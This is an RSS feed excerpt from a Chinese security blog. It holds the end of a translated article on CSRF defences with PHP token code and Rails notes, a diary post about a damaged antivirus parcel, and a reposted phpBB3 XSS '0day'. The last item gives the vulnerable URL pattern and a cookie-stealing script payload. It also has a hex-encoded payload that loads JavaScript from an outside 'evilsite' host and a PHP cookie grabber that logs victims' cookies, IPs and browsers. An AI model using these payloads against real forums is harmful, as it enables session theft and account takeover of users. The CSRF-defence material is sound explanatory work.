action=&#34;resolve.php&#34;&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;first_name&#34;&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;last_name&#34;&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;check&#34; value=&#34;&lt;?=$hash;?&gt;&#34;&gt;<br/>&lt;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Submit&#34;&gt;<br/>&lt;/form&gt;<br/>&lt;!-- EOF --&gt;</div></div><br/>此时，后台的动态网页部分可以进行如下操作：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- resolve.php --&gt;<br/>&lt;?php<br/>// Check if the &#34;check&#34; var exists<br/>if(isset($_POST[&#39;check&#39;])) {<br/>$hash = md5($_COOKIE[&#39;cookie&#39;]);<br/>// Check if the values coincide<br/>if($_POST[&#39;check&#39;] == $hash) {<br/>do_something();<br/>} else {<br/>echo &#34;Malicious Request!&#34;;<br/>}<br/>} else {<br/>echo &#34;Malicious Request!&#34;;<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>事 实上，如果我们不考虑用户的Cookies很容易由于网站中存在XSS漏洞而被偷窃（我们已经知道这样的事情并不少见）这一事实，这是一个很好的应对对 CSRF的解决方案。如果我们为用户的每一个表单请求中都加入随机的Cookies，那么这种方法会变得更加安全，但是这并不是十分合适。<br/>3.2 HTTP来路<br/><br/>检 测访问来路是否可信的最简单方法是，获得HTTP请求中的来路信息（即名为Referer的HTTP头--译者注）并且检查它来自站内还是来自一个远程的恶 意页面：这是一个很好的解决方法，但是由于可以对服务器获得的请求来路进行欺骗以使得他们看起来合法，这种方法不能够有效防止攻击。<br/><br/>让我们来看看为什么这并不是一个合适的方法。<br/><br/>下面的代码展示了HTTP Referer实现方法的一个例子：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- check.php --&gt;<br/>if(eregi(&#34;www.playhack.net&#34;, $_SERVER[&#39;HTTP_REFERER&#39;])) {<br/>do_something();<br/>} else {<br/>echo &#34;Malicious Request!&#34;;<br/>}<br/>&lt;!-- EOF --&gt;</div></div><br/>这个检测则会轻易的忽略掉来自某个攻击者伪造的HTTP Referer欺骗，攻击者可以使用如下代码：<br/><br/>header(&#34;Referer: www.playhack.net&#34;);<br/><br/>或者其他在恶意脚本中伪造HTTP头并发送的方法。<br/><br/>由于HTTP Referer是由客户端浏览器发送的，而不是由服务器控制的，因此你不应当将该变量作为一个信任源。<br/>3.3 验证码<br/><br/>另外一个解决这类问题的思路则是在用户提交的每一个表单中使用一个随机验证码，让用户在文本框中填写图片上的随机字符串，并且在提交表单后对其进行检测。<br/><br/>这个方法曾经在之前被人们放弃，这是由于验证码图片的使用涉及了一个被称为MHTML的Bug，可能在某些版本的微软IE中受影响。<br/><br/>你可以在Secunia的站点上获得关于此缺陷的详细信息：<a href="http://www.patching.net/zhaohuan/http:/ <img src="http://www.patching.net/zhaohuan/images/smilies/icon_heart.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/>cunia.com/advisories/19738/" target="_blank" rel="external">http:/ <img src="http://www.patching.net/zhaohuan/images/smilies/icon_heart.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/>cunia.com/advisories/19738/</a> 。<br/><br/>这里是Secunia关于此Bug解释的概述：<br/><br/>&#34;此缺陷是由于处理&#34;mhtml:&#34;的URL处理器重定向引起的。它可以被用来利用从另外一个网站访问当前的文档&#34;<br/><br/>在同一个页面你会找到来自Secunia工作人员的网站测试方法。<br/><br/>事实上，我们知道，这个Bug已经被微软放出的Windows XP和Windows Vista及其浏览器IE6.0的修复包所解决了。<br/><br/>即使他的确出现了安全问题，这么长时间也会有其他的可靠方案出现。<br/><br/>4.一次性令牌<br/><br/>现在让我们来看经过研究，我希望介绍的最后一种解决方案：在使用这些不可靠的技术后，我尝试做一些不同然而却是更有效的方法。<br/><br/>为了防止Web表单受到Session欺骗（CSRF）的攻击，我决定检测可能被伪装或伪造的每一个项目。因此我需要来创造一次性令牌，来使得在任何情况下都不能够被猜测或者伪装，这些一次性令牌在完成他们的工作后将被销毁。<br/><br/>让我们从令牌值的生成开始：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- start function --&gt;<br/>&lt;?php<br/>function gen_token() {<br/>// Generate the md5 hash of a randomized uniq id<br/>$hash = md5(uniqid(rand(), true));<br/>// Sel&#101;ct a random number between 1 and 24 (32-8)<br/>$n = rand(1, 24);<br/>// Generate the token retrieving a part of the hash starting from<br/>// the random N number with 8 of lenght<br/>$token = substr($hash, $n, 8);<br/>return $token;<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div><br/>PHP函数uniqid()允许web开发者根据当前的时间（毫秒数）获得一个唯一的ID，这个唯一ID有利于生成一个不重复的数值。<br/><br/>我们检索相应ID值的MD5散列，而后我们从该散列中以一个小于24的数字为开始位置，选取8位字母、<br/><br/>返回的$token变量将检索一个8位长的随机令牌。<br/><br/>现在让我们生成一个Session令牌，在稍后的检查中我们会用到它。<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- start function --&gt;<br/>&lt;?php<br/>function gen_stoken() {<br/>// Call the function to generate the token<br/>$token = gen_token();<br/>// Destroy any eventually Session Token variable<br/>destroy_stoken();<br/>// Cr&#101;ate the Session Token variable<br/>session_register(STOKEN_NAME);<br/>$_SESSION[STOKEN_NAME] = $token;<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>在这个函数中我们调用gen_token()函数，并且使用返回的令牌将其值复制到一个新的$_SESSION变量。<br/><br/>现在让我们来看启动完整机制中为我们的表单生成隐藏输入域的函数：<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- start function --&gt;<br/>&lt;?php<br/>function gen_input() {<br/>// Call the function to generate the Session Token variable<br/>gen_stoken();<br/>// Generate the form input code<br/>echo &#34;&lt;input type=\&#34;hidden\&#34; name=\&#34;&#34; . FTOKEN_NAME . &#34;\&#34;<br/>value=\&#34;&#34; . $_SESSION[STOKEN_NAME] . &#34;\&#34;&gt; &#34;;<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>我们可以看到，这个函数调用了gen_stoken()函数并且生成在WEB表单中包含隐藏域的HTML代码。<br/><br/>接下来让我们来看实现对隐藏域中提交的Session令牌的检测的函数：<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- start function --&gt;<br/>&lt;?php<br/>function token_check() {<br/>// Check if the Session Token exists<br/>if(is_stoken()) {<br/>// Check if the request has been sent<br/>if(isset($_REQUEST[FTOKEN_NAME])) {<br/>// If the Form Token is different from Session Token<br/>// it&#39;s a malicious request<br/>if($_REQUEST[FTOKEN_NAME] != $_SESSION[STOKEN_NAME]) {<br/>gen_error(1);<br/>destroy_stoken();<br/>exit();<br/>} else {<br/>destroy_stoken();<br/>}<br/>// If it isn&#39;t then it&#39;s a malicious request<br/>} else {<br/>gen_error(2);<br/>destroy_stoken();<br/>exit();<br/>}<br/>// If it isn&#39;t then it&#39;s a malicious request<br/>} else {<br/>gen_error(3);<br/>destroy_stoken();<br/>exit();<br/>}<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>这 个函数检测了$_SESSION[STOKEN_NAME]和$_REQUEST[FTOKEN_NAME]的存在性（我使用了$ _REQUEST方法来使得GET和POST两种方式提交的表单变量均能够被接受），而后检测他们的值是否相同，因此判断当前表单提交是否是经过认证授权 的。<br/><br/>这个函数的重点在于：在每次检测步骤结束后，令牌都会被销毁，并且仅仅在下一次表单页面时才会重新生成。<br/><br/>这些函数的使用方法非常简单，我们只需要加入一些PHP代码结构。<br/><br/>下面是Web表单：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- form.php --&gt;<br/>&lt;?php<br/>session_start();<br/>include(&#34;functions.php&#34;);<br/>?&gt;<br/>&lt;form method=&#34;POST&#34; action=&#34;resolve.php&#34;&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;first_name&#34;&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;last_name&#34;&gt;<br/>&lt;!-- Call the function to generate the hidden input --&gt;<br/>&lt;? gen_input(); ?&gt;<br/>&lt;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Submit&#34;&gt;<br/>&lt;/FORM&gt;<br/>&lt;!-- EOF --&gt;</div></div><br/>下面是解决的脚本代码：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- resolve.php --&gt;<br/>&lt;?php<br/>session_start();<br/>include(&#34;functions.php&#34;);<br/><br/>// Call the function to make the check<br/>token_check();<br/><br/>// Your code<br/>...<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>你可以看到，实现这样一个检测是十分简单的，但是它可以避免你的用户表单被攻击者劫持，以避免数据被非法授权。<br/>5.结论<br/><br/>让我们对这篇简短的论文做一个结论，你的Web应用程序没有百分百的安全，但是你可以开始避免绝大多数普通的攻击技术。<br/><br/>我希望您关注的另一个要点是，Web开发者不应当忽视一般的程序错误（例如XSS 浏览器漏洞等等），不将这些考虑为对您的用户的潜在威胁是一个巨大的错误：你应该永远记得它们将影响程序的信任性、安全性和互操作性。<br/><br/>Cya!<br/><br/>nexus<br/><br/><br/><strong>还有LGN21ST的一篇< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><br/>从Rails 2开始，默认使用cookie来保存session，于是很多关于安全上的置疑被频繁提及。尤其是cross-site request forgery(CSRF)攻击。 <br/><br/>在Rails2中预防CSRF其实很容易，首先确保在application.rb中包含protect_from_forgery调用 <br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Ruby代码 <br/>class ApplicationController &lt; ActionController::Base&nbsp;&nbsp; <br/>&nbsp;&nbsp;protect_from_forgery&nbsp;&nbsp; <br/>end&nbsp;&nbsp;<br/><br/>class ApplicationController &lt; ActionController::Base<br/>&nbsp;&nbsp;protect_from_forgery<br/>end</div></div><br/><br/>至此，所有用form_for或者form_tag等生成的表单均被隐藏注入一个特别的基于用户session生成的token，在表单被提交时一并将token提交至服务器并接受服务器端的检查。 <br/><br/>如果你象我一样喜欢自己手写Ajax Post请求代码，但是没有包含这个token的话，服务器端会报&#39;verify_authenticity_token&#39;错误，如何得到这个token呢？我的做法是在页面头部先得到这个token，赋值给一个JS的全局变量，在之后的Ajax代码中就可以直接引用啦，主意，一定要在Ajax调用代码之前作这一步，最保险的位置是在页面第一行。 <br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Ruby代码 <br/>&lt;%= javascript_tag &#34;var authenticity_token = &#39;#{form_authenticity_token}&#39;;&#34; %&gt;&nbsp;&nbsp;<br/><br/>&lt;%= javascript_tag &#34;var authenticity_token = &#39;#{form_authenticity_token}&#39;;&#34; %&gt;</div></div><br/><br/>Ajax代码大概可以这样写 <br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Ruby代码 <br/>new Ajax.Request(&nbsp;&nbsp; <br/>&nbsp;&nbsp;request_path,&nbsp;&nbsp; <br/>&nbsp;&nbsp;{method:&#39;post&#39;,&nbsp;&nbsp; <br/>&nbsp;&nbsp; parameters:&#39;authenticity_token=&#39; + encodeURIComponent(authenticity_token)});&nbsp;&nbsp;</div></div><br/><br/><br/>test]]></description>
		</item>
		
			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=251</link>
			<title><![CDATA[二版科技寄来的NOD32安全套装]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[Diary]]></category>
			<pubDate>Fri,22 Aug 2008 15:37:28 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=251</guid>
		<description><![CDATA[本来收到东西应该是很exciting的事情，但是因为某国内知名快递公司—<strong>X通快递< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong>的原因，出现了以下抽象效果，特此拍照。<br/>充分验证了国内快递公司暴力运输的事实，绝对是对经典力学的运用，怪不得网上流传：<strong>有一个分尸案，其实杀人者本来并没有分尸，只是把尸体用X通快递寄出去后....分尸案就产生了。< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><img src="http://www.patching.net/zhaohuan/attachments/month_0808/n2008822151636.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/k2008822151758.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/r2008822151851.jpg" border="0" alt=""/><br/><br/>还好里面的东西没坏，内附光盘1、readme、环保袋1<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/12008822152111.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/b2008822152156.jpg" border="0" alt=""/><br/><br/>虽然对我来说并没有很大的实际用处，但送给MM是没戏了~<br/><br/>准备把照片给王总看看，晚上有空再分析一下激活系统。]]></description>
		</item>
		
			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=250</link>
			<title><![CDATA[XSS Private Messagging On PhpBB3(0day)]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[eXploit]]></category>
			<pubDate>Mon,18 Aug 2008 10:22:14 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=250</guid>
		<description><![CDATA[################################################## ####################################<br/># #<br/># Authors: Dante90, WaRWolFz Crew #<br/># T0T4L, Ex Member Crew #<br/># Title: XSS Private Messagging On PhpBB3 By Dante90 [0-Day &amp; Priv8] #<br/># MSN: dante90.dmc4@hotmail.it #<br/># Web: www.warwolfz.org #<br/># Description: XSS (Cross Site Scripting), Grab Status: 100%. #<br/># #<br/>################################################## ####################################<br/><strong>XSS Private Messagging On PhpBB3 By Dante90 [0-Day &amp; Priv8]< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">http://TRAGET/ucp.php?i=pm&amp;mode=compose&amp;action=reply&amp;f=[xss]&amp;p=6779</div></div><br/><br/>Wh&#101;re is:<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">[xss] = &#39;&#39;;!--&#34;&lt;script&gt;alert(document.cookie);&lt;/script&gt;=&amp;{(alert(1))}</div></div><br/><br/><br/>Redirect Code [Ascii --&gt; Hex]:<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">[xss] = %3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3 a%2f%2f%77%77%77%2e%65%76%69%6c%73%69%74%65%2e%6f% 72%67%2f%66%69%6c%65%2e%6a%73%3e<br/>(&lt;script src=http://www.evilsite.org/WaRWolFz/file.js&gt;)</div></div><br/><br/><br/>Cookies grabber:<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;?php<br/><br/>$ip = $_SERVER[&#39;REMOTE_ADDR&#39;];<br/>$referer = $_SERVER[&#39;HTTP_REFERER&#39;];<br/>$agent = $_SERVER[&#39;HTTP_USER_AGENT&#39;];<br/><br/>$data = $_GET[&#39;warwolfz&#39;];<br/>$time = date(&#34;Y-m-d G:i:s A&#34;);<br/>$text = &#34;Time: &#34;.$time.&#34;\nIP:&#34;.$ip.&#34;\nReferer:&#34;.$referer.&#34;\nU ser-Agent:&#34;.$agent.&#34;\nCookie:&#34;.$data.&#34;\n\n&#34;;<br/><br/>$file = fopen(&#39;cookies.html&#39; , &#39;a&#39;);<br/>fwrite($file,$text);<br/>fclose($file);<br/><br/>?&gt; </div></div>]]></description>
		</item>
		
</channel>
</rss>
